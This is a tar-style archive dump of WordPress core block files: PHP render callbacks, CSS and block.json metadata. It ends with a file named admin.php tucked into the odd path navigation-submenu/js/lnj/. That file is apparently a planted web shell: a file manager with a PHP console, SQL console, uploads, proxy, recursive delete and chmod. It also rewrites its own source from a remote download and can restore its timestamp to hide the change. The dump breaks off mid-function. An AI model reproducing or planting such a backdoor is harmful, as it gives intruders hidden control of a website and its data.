}latest-posts.php000064400000021036151202367550007727 0ustar00 $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'ignore_sticky_posts' => true, 'no_found_rows' => true, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( ! empty( $attributes['categories'] ) ) { $args['category__in'] = array_column( $attributes['categories'], 'id' ); } if ( isset( $attributes['selectedAuthor'] ) ) { $args['author'] = $attributes['selectedAuthor']; } $query = new WP_Query(); $recent_posts = $query->query( $args ); if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) { update_post_thumbnail_cache( $query ); } $list_items_markup = ''; foreach ( $recent_posts as $post ) { $post_link = esc_url( get_permalink( $post ) ); $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= '
  • '; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $featured_image = get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => esc_attr( $image_style ), ) ); if ( $attributes['addLinkToFeaturedImage'] ) { $featured_image = sprintf( '%3$s', esc_url( $post_link ), esc_attr( $title ), $featured_image ); } $list_items_markup .= sprintf( '
    %2$s
    ', esc_attr( $image_classes ), $featured_image ); } $list_items_markup .= sprintf( '%2$s', esc_url( $post_link ), $title ); if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $author_display_name = get_the_author_meta( 'display_name', $post->post_author ); /* translators: byline. %s: author. */ $byline = sprintf( __( 'by %s' ), $author_display_name ); if ( ! empty( $author_display_name ) ) { $list_items_markup .= sprintf( '', $byline ); } } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '', esc_attr( get_the_date( 'c', $post ) ), get_the_date( '', $post ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); /* * Adds a "Read more" link with screen reader text. * […] is the default excerpt ending from wp_trim_excerpt() in Core. */ if ( str_ends_with( $trimmed_excerpt, ' […]' ) ) { /** This filter is documented in wp-includes/formatting.php */ $excerpt_length = (int) apply_filters( 'excerpt_length', $block_core_latest_posts_excerpt_length ); if ( $excerpt_length <= $block_core_latest_posts_excerpt_length ) { $trimmed_excerpt = substr( $trimmed_excerpt, 0, -11 ); $trimmed_excerpt .= sprintf( /* translators: 1: A URL to a post, 2: Hidden accessibility text: Post title */ __( '… Read more: %2$s' ), esc_url( $post_link ), esc_html( $title ) ); } } if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $trimmed_excerpt ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', wp_kses_post( $post_content ) ); } $list_items_markup .= "
  • \n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $classes = array( 'wp-block-latest-posts__list' ); if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $classes[] = 'is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $classes[] = 'columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $classes[] = 'has-dates'; } if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $classes[] = 'has-author'; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '', $wrapper_attributes, $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. * * @since 5.0.0 */ function register_block_core_latest_posts() { register_block_type_from_metadata( __DIR__ . '/latest-posts', array( 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @since 5.5.0 * * @param array $block A single parsed block object. * * @return array The migrated block object. */ function block_core_latest_posts_migrate_categories( $block ) { if ( 'core/latest-posts' === $block['blockName'] && ! empty( $block['attrs']['categories'] ) && is_string( $block['attrs']['categories'] ) ) { $block['attrs']['categories'] = array( array( 'id' => absint( $block['attrs']['categories'] ) ), ); } return $block; } add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' ); post-content.php000064400000004453151202367550007726 0ustar00context['postId'] ) ) { return ''; } $post_id = $block->context['postId']; if ( isset( $seen_ids[ $post_id ] ) ) { // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } $seen_ids[ $post_id ] = true; // When inside the main loop, we want to use queried object // so that `the_preview` for the current post can apply. // We force this behavior by omitting the third argument (post ID) from the `get_the_content`. $content = get_the_content(); // Check for nextpage to display page links for paginated posts. if ( has_block( 'core/nextpage' ) ) { $content .= wp_link_pages( array( 'echo' => 0 ) ); } /** This filter is documented in wp-includes/post-template.php */ $content = apply_filters( 'the_content', str_replace( ']]>', ']]>', $content ) ); unset( $seen_ids[ $post_id ] ); if ( empty( $content ) ) { return ''; } $tag_name = 'div'; if ( ! empty( $attributes['tagName'] ) && tag_escape( $attributes['tagName'] ) === $attributes['tagName'] ) { $tag_name = $attributes['tagName']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'entry-content' ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, $content ); } /** * Registers the `core/post-content` block on the server. * * @since 5.8.0 */ function register_block_core_post_content() { register_block_type_from_metadata( __DIR__ . '/post-content', array( 'render_callback' => 'render_block_core_post_content', ) ); } add_action( 'init', 'register_block_core_post_content' ); list/style.min.css000064400000000137151202367550010162 0ustar00ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}list/style-rtl.css000064400000000153151202367550010175 0ustar00ol,ul{ box-sizing:border-box; } :root :where(.wp-block-list.has-background){ padding:1.25em 2.375em; }list/style.css000064400000000153151202367550007376 0ustar00ol,ul{ box-sizing:border-box; } :root :where(.wp-block-list.has-background){ padding:1.25em 2.375em; }list/style-rtl.min.css000064400000000137151202367550010761 0ustar00ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}list/block.json000064400000003531151202367550007514 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/list", "title": "List", "category": "text", "allowedBlocks": [ "core/list-item" ], "description": "An organized collection of items displayed in a specific order.", "keywords": [ "bullet list", "ordered list", "numbered list" ], "textdomain": "default", "attributes": { "ordered": { "type": "boolean", "default": false, "role": "content" }, "values": { "type": "string", "source": "html", "selector": "ol,ul", "multiline": "li", "default": "", "role": "content" }, "type": { "type": "string" }, "start": { "type": "number" }, "reversed": { "type": "boolean" }, "placeholder": { "type": "string" } }, "supports": { "anchor": true, "html": false, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "__unstablePasteTextInline": true, "__experimentalOnMerge": true, "__experimentalSlashInserter": true, "interactivity": { "clientNavigation": true } }, "selectors": { "border": ".wp-block-list:not(.wp-block-list .wp-block-list)" }, "editorStyle": "wp-block-list-editor", "style": "wp-block-list" } post-title.php000064400000004132151202367550007367 0ustar00context['postId'] ) ) { return ''; } /** * The `$post` argument is intentionally omitted so that changes are reflected when previewing a post. * See: https://github.com/WordPress/gutenberg/pull/37622#issuecomment-1000932816. */ $title = get_the_title(); if ( ! $title ) { return ''; } $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 0 === $attributes['level'] ? 'p' : 'h' . (int) $attributes['level']; } if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $rel = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : ''; $title = sprintf( '%4$s', esc_url( get_the_permalink( $block->context['postId'] ) ), esc_attr( $attributes['linkTarget'] ), $rel, $title ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, $title ); } /** * Registers the `core/post-title` block on the server. * * @since 5.8.0 */ function register_block_core_post_title() { register_block_type_from_metadata( __DIR__ . '/post-title', array( 'render_callback' => 'render_block_core_post_title', ) ); } add_action( 'init', 'register_block_core_post_title' ); loginout/style.min.css000064400000000051151202367550011042 0ustar00.wp-block-loginout{box-sizing:border-box}loginout/style-rtl.css000064400000000056151202367550011064 0ustar00.wp-block-loginout{ box-sizing:border-box; }loginout/style.css000064400000000056151202367550010265 0ustar00.wp-block-loginout{ box-sizing:border-box; }loginout/style-rtl.min.css000064400000000051151202367550011641 0ustar00.wp-block-loginout{box-sizing:border-box}loginout/block.json000064400000002424151202367550010401 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/loginout", "title": "Login/out", "category": "theme", "description": "Show login & logout links.", "keywords": [ "login", "logout", "form" ], "textdomain": "default", "attributes": { "displayLoginAsForm": { "type": "boolean", "default": false }, "redirectToCurrent": { "type": "boolean", "default": true } }, "example": { "viewportWidth": 350 }, "supports": { "className": true, "color": { "background": true, "text": false, "gradients": true, "link": true }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-loginout" } separator/style.min.css000064400000000625151202367550011211 0ustar00@charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}:root :where(.wp-block-separator.is-style-dots){height:auto;line-height:1;text-align:center}:root :where(.wp-block-separator.is-style-dots):before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-separator.is-style-dots{background:none!important;border:none!important}separator/theme-rtl.css000064400000000745151202367550011173 0ustar00.wp-block-separator.has-css-opacity{ opacity:.4; } .wp-block-separator{ border:none; border-bottom:2px solid; margin-left:auto; margin-right:auto; } .wp-block-separator.has-alpha-channel-opacity{ opacity:1; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots){ width:100px; } .wp-block-separator.has-background:not(.is-style-dots){ border-bottom:none; height:1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){ height:2px; }separator/theme.css000064400000000745151202367550010374 0ustar00.wp-block-separator.has-css-opacity{ opacity:.4; } .wp-block-separator{ border:none; border-bottom:2px solid; margin-left:auto; margin-right:auto; } .wp-block-separator.has-alpha-channel-opacity{ opacity:1; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots){ width:100px; } .wp-block-separator.has-background:not(.is-style-dots){ border-bottom:none; height:1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){ height:2px; }separator/style-rtl.css000064400000000715151202367550011226 0ustar00@charset "UTF-8"; .wp-block-separator{ border:none; border-top:2px solid; } :root :where(.wp-block-separator.is-style-dots){ height:auto; line-height:1; text-align:center; } :root :where(.wp-block-separator.is-style-dots):before{ color:currentColor; content:"···"; font-family:serif; font-size:1.5em; letter-spacing:2em; padding-left:2em; } .wp-block-separator.is-style-dots{ background:none !important; border:none !important; }separator/editor.css000064400000000151151202367550010547 0ustar00.block-editor-block-list__block[data-type="core/separator"]{ padding-bottom:.1px; padding-top:.1px; }separator/style.css000064400000000715151202367550010427 0ustar00@charset "UTF-8"; .wp-block-separator{ border:none; border-top:2px solid; } :root :where(.wp-block-separator.is-style-dots){ height:auto; line-height:1; text-align:center; } :root :where(.wp-block-separator.is-style-dots):before{ color:currentColor; content:"···"; font-family:serif; font-size:1.5em; letter-spacing:2em; padding-left:2em; } .wp-block-separator.is-style-dots{ background:none !important; border:none !important; }separator/style-rtl.min.css000064400000000625151202367550012010 0ustar00@charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}:root :where(.wp-block-separator.is-style-dots){height:auto;line-height:1;text-align:center}:root :where(.wp-block-separator.is-style-dots):before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-separator.is-style-dots{background:none!important;border:none!important}separator/editor.min.css000064400000000141151202367550011330 0ustar00.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}separator/editor-rtl.min.css000064400000000141151202367550012127 0ustar00.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}separator/block.json000064400000002172151202367550010541 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/separator", "title": "Separator", "category": "design", "description": "Create a break between ideas or sections with a horizontal separator.", "keywords": [ "horizontal-line", "hr", "divider" ], "textdomain": "default", "attributes": { "opacity": { "type": "string", "default": "alpha-channel" }, "tagName": { "type": "string", "enum": [ "hr", "div" ], "default": "hr" } }, "supports": { "anchor": true, "align": [ "center", "wide", "full" ], "color": { "enableContrastChecker": false, "__experimentalSkipSerialization": true, "gradients": true, "background": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "spacing": { "margin": [ "top", "bottom" ] }, "interactivity": { "clientNavigation": true } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "wide", "label": "Wide Line" }, { "name": "dots", "label": "Dots" } ], "editorStyle": "wp-block-separator-editor", "style": "wp-block-separator" } separator/editor-rtl.css000064400000000151151202367550011346 0ustar00.block-editor-block-list__block[data-type="core/separator"]{ padding-bottom:.1px; padding-top:.1px; }separator/theme-rtl.min.css000064400000000665151202367550011756 0ustar00.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}separator/theme.min.css000064400000000665151202367550011157 0ustar00.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}post-author/style.min.css000064400000000546151202367550011500 0ustar00.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}post-author/style-rtl.css000064400000000635151202367550011514 0ustar00.wp-block-post-author{ box-sizing:border-box; display:flex; flex-wrap:wrap; } .wp-block-post-author__byline{ font-size:.5em; margin-bottom:0; margin-top:0; width:100%; } .wp-block-post-author__avatar{ margin-left:1em; } .wp-block-post-author__bio{ font-size:.7em; margin-bottom:.7em; } .wp-block-post-author__content{ flex-basis:0; flex-grow:1; } .wp-block-post-author__name{ margin:0; }post-author/style.css000064400000000636151202367550010716 0ustar00.wp-block-post-author{ box-sizing:border-box; display:flex; flex-wrap:wrap; } .wp-block-post-author__byline{ font-size:.5em; margin-bottom:0; margin-top:0; width:100%; } .wp-block-post-author__avatar{ margin-right:1em; } .wp-block-post-author__bio{ font-size:.7em; margin-bottom:.7em; } .wp-block-post-author__content{ flex-basis:0; flex-grow:1; } .wp-block-post-author__name{ margin:0; }post-author/style-rtl.min.css000064400000000545151202367550012276 0ustar00.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}post-author/block.json000064400000003466151202367550011035 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author", "title": "Author", "category": "theme", "description": "Display post author details such as name, avatar, and bio.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "avatarSize": { "type": "number", "default": 48 }, "showAvatar": { "type": "boolean", "default": true }, "showBio": { "type": "boolean" }, "byline": { "type": "string" }, "isLink": { "type": "boolean", "default": false, "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" } }, "usesContext": [ "postType", "postId", "queryId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "filter": { "duotone": true } }, "selectors": { "filter": { "duotone": ".wp-block-post-author .wp-block-post-author__avatar img" } }, "editorStyle": "wp-block-post-author-editor", "style": "wp-block-post-author" } navigation-submenu/editor.css000064400000002262151202367550012367 0ustar00.wp-block-navigation-submenu{ display:block; } .wp-block-navigation-submenu .wp-block-navigation__submenu-container{ z-index:28; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{ height:auto !important; left:-1px; min-width:200px !important; opacity:1 !important; position:absolute; top:100%; visibility:visible !important; width:auto !important; } @media (min-width:782px){ .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:100%; top:-1px; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{ background:#0000; content:""; display:block; height:100%; position:absolute; right:100%; width:.5em; } }navigation-submenu/editor.min.css000064400000002112151202367550013143 0ustar00.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;left:-1px;min-width:200px!important;opacity:1!important;position:absolute;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}}navigation-submenu/editor-rtl.min.css000064400000002113151202367550013743 0ustar00.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;position:absolute;right:-1px;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}}navigation-submenu/block.json000064400000003130151202367550012347 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation-submenu", "title": "Submenu", "category": "design", "parent": [ "core/navigation" ], "description": "Add a submenu to your navigation.", "textdomain": "default", "attributes": { "label": { "type": "string", "role": "content" }, "type": { "type": "string" }, "description": { "type": "string" }, "rel": { "type": "string" }, "id": { "type": "number" }, "opensInNewTab": { "type": "boolean", "default": false }, "url": { "type": "string" }, "title": { "type": "string" }, "kind": { "type": "string" }, "isTopLevelItem": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "maxNestingLevel", "openSubmenusOnClick", "style" ], "supports": { "reusable": false, "html": false, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-navigation-submenu-editor", "style": "wp-block-navigation-submenu" } navigation-submenu/editor-rtl.css000064400000002263151202367550013167 0ustar00.wp-block-navigation-submenu{ display:block; } .wp-block-navigation-submenu .wp-block-navigation__submenu-container{ z-index:28; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{ height:auto !important; min-width:200px !important; opacity:1 !important; position:absolute; right:-1px; top:100%; visibility:visible !important; width:auto !important; } @media (min-width:782px){ .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ right:100%; top:-1px; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{ background:#0000; content:""; display:block; height:100%; left:100%; position:absolute; width:.5em; } }navigation-submenu/js/lnj/admin.php000064400000235120151202367550013370 0ustar00 true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size ?? maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads 